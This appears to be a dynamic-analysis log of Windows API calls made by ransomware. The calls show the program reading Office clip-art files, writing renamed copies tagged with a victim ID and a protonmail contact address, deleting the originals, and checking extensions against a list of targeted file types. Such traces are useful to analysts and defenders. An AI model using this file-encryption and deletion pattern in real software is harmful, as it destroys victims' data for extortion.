	[0204.154] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x2370, lpOverlapped=0x0) returned 1
	[0204.156] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2380, lpOverlapped=0x0) returned 1
	[0204.157] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.157] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.157] SetEndOfFile (hFile=0x484) returned 1
	[0204.157] CloseHandle (hObject=0x484) returned 1
	[0204.157] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.157] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.160] CloseHandle (hObject=0x5d0) returned 1
	[0204.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1
	[0204.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.161] lstrlenW (lpString=".doc") returned 4
	[0204.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.161] lstrlenW (lpString=".docx") returned 5
	[0204.161] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0204.162] lstrlenW (lpString=".pdf") returned 4
	[0204.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString=".xls") returned 4
	[0204.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.162] lstrlenW (lpString=".xlsx") returned 5
	[0204.162] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0204.162] lstrlenW (lpString=".ppt") returned 4
	[0204.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.162] lstrlenW (lpString=".zip") returned 4
	[0204.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.162] lstrlenW (lpString=".rar") returned 4
	[0204.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString=".bz2") returned 4
	[0204.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString=".7z") returned 3
	[0204.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.162] lstrlenW (lpString=".dbf") returned 4
	[0204.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.162] lstrlenW (lpString=".1cd") returned 4
	[0204.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.162] lstrlenW (lpString=".jpg") returned 4
	[0204.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.162] lstrlenW (lpString=".doc") returned 4
	[0204.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.162] lstrlenW (lpString=".docx") returned 5
	[0204.162] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0204.163] lstrlenW (lpString=".pdf") returned 4
	[0204.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.163] lstrlenW (lpString=".xls") returned 4
	[0204.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.163] lstrlenW (lpString=".xlsx") returned 5
	[0204.163] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0204.163] lstrlenW (lpString=".ppt") returned 4
	[0204.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.163] lstrlenW (lpString=".zip") returned 4
	[0204.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.163] lstrlenW (lpString=".rar") returned 4
	[0204.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.163] lstrlenW (lpString=".bz2") returned 4
	[0204.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.163] lstrlenW (lpString=".7z") returned 3
	[0204.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.163] lstrlenW (lpString=".dbf") returned 4
	[0204.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.163] lstrlenW (lpString=".1cd") returned 4
	[0204.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0204.163] lstrlenW (lpString=".jpg") returned 4
	[0204.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.163] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.163] lstrlenW (lpString="J0152884.WMF") returned 12
	[0204.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.167] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6956) returned 1
	[0204.167] CloseHandle (hObject=0x5d0) returned 1
	[0204.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 0x220
	[0204.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.167] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.167] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.168] GetLastError () returned 0x0
	[0204.168] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1b2c, lpOverlapped=0x0) returned 1
	[0204.253] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0204.254] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.254] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.255] SetEndOfFile (hFile=0x484) returned 1
	[0204.367] CloseHandle (hObject=0x484) returned 1
	[0204.379] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.379] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.385] CloseHandle (hObject=0x5d0) returned 1
	[0204.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 1
	[0204.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.387] lstrlenW (lpString=".doc") returned 4
	[0204.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.387] lstrlenW (lpString=".docx") returned 5
	[0204.387] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.387] lstrlenW (lpString=".pdf") returned 4
	[0204.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.387] lstrlenW (lpString=".xls") returned 4
	[0204.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.387] lstrlenW (lpString=".xlsx") returned 5
	[0204.387] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.387] lstrlenW (lpString=".ppt") returned 4
	[0204.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.387] lstrlenW (lpString=".zip") returned 4
	[0204.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.387] lstrlenW (lpString=".rar") returned 4
	[0204.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.387] lstrlenW (lpString=".bz2") returned 4
	[0204.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.387] lstrlenW (lpString=".7z") returned 3
	[0204.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.387] lstrlenW (lpString=".dbf") returned 4
	[0204.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.387] lstrlenW (lpString=".1cd") returned 4
	[0204.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.388] lstrlenW (lpString=".jpg") returned 4
	[0204.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.388] lstrlenW (lpString=".doc") returned 4
	[0204.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.388] lstrlenW (lpString=".docx") returned 5
	[0204.388] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.388] lstrlenW (lpString=".pdf") returned 4
	[0204.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.388] lstrlenW (lpString=".xls") returned 4
	[0204.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.388] lstrlenW (lpString=".xlsx") returned 5
	[0204.388] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.388] lstrlenW (lpString=".ppt") returned 4
	[0204.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.388] lstrlenW (lpString=".zip") returned 4
	[0204.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.388] lstrlenW (lpString=".rar") returned 4
	[0204.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.388] lstrlenW (lpString=".bz2") returned 4
	[0204.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.388] lstrlenW (lpString=".7z") returned 3
	[0204.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.388] lstrlenW (lpString=".dbf") returned 4
	[0204.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.388] lstrlenW (lpString=".1cd") returned 4
	[0204.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0204.389] lstrlenW (lpString=".jpg") returned 4
	[0204.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.389] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.389] lstrlenW (lpString="J0153093.WMF") returned 12
	[0204.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.390] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8880) returned 1
	[0204.390] CloseHandle (hObject=0x5d0) returned 1
	[0204.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 0x220
	[0204.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.391] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.391] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.391] GetLastError () returned 0x0
	[0204.392] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x22b0, lpOverlapped=0x0) returned 1
	[0204.396] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x22c0, lpOverlapped=0x0) returned 1
	[0204.397] ReadFile (in: hFile=0x5d0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.397] WriteFile (in: hFile=0x484, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.397] SetEndOfFile (hFile=0x484) returned 1
	[0204.397] CloseHandle (hObject=0x484) returned 1
	[0204.397] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.397] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.400] CloseHandle (hObject=0x5d0) returned 1
	[0204.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 1
	[0204.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.402] lstrlenW (lpString=".doc") returned 4
	[0204.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.402] lstrlenW (lpString=".docx") returned 5
	[0204.402] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0204.402] lstrlenW (lpString=".pdf") returned 4
	[0204.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.402] lstrlenW (lpString=".xls") returned 4
	[0204.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.402] lstrlenW (lpString=".xlsx") returned 5
	[0204.402] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0204.402] lstrlenW (lpString=".ppt") returned 4
	[0204.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.402] lstrlenW (lpString=".zip") returned 4
	[0204.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.402] lstrlenW (lpString=".rar") returned 4
	[0204.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.402] lstrlenW (lpString=".bz2") returned 4
	[0204.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.402] lstrlenW (lpString=".7z") returned 3
	[0204.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.403] lstrlenW (lpString=".dbf") returned 4
	[0204.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.403] lstrlenW (lpString=".1cd") returned 4
	[0204.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.403] lstrlenW (lpString=".jpg") returned 4
	[0204.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.403] lstrlenW (lpString=".doc") returned 4
	[0204.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString=".docx") returned 5
	[0204.403] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0204.403] lstrlenW (lpString=".pdf") returned 4
	[0204.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString=".xls") returned 4
	[0204.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.403] lstrlenW (lpString=".xlsx") returned 5
	[0204.403] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0204.403] lstrlenW (lpString=".ppt") returned 4
	[0204.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.403] lstrlenW (lpString=".zip") returned 4
	[0204.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.403] lstrlenW (lpString=".rar") returned 4
	[0204.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString=".bz2") returned 4
	[0204.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.403] lstrlenW (lpString=".7z") returned 3
	[0204.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.404] lstrlenW (lpString=".dbf") returned 4
	[0204.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.404] lstrlenW (lpString=".1cd") returned 4
	[0204.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0204.404] lstrlenW (lpString=".jpg") returned 4
	[0204.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.404] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.404] lstrlenW (lpString="J0153095.WMF") returned 12
	[0204.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.405] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3704) returned 1
	[0204.405] CloseHandle (hObject=0x5d0) returned 1
	[0204.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 0x220
	[0204.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.406] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.406] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.407] GetLastError () returned 0x0
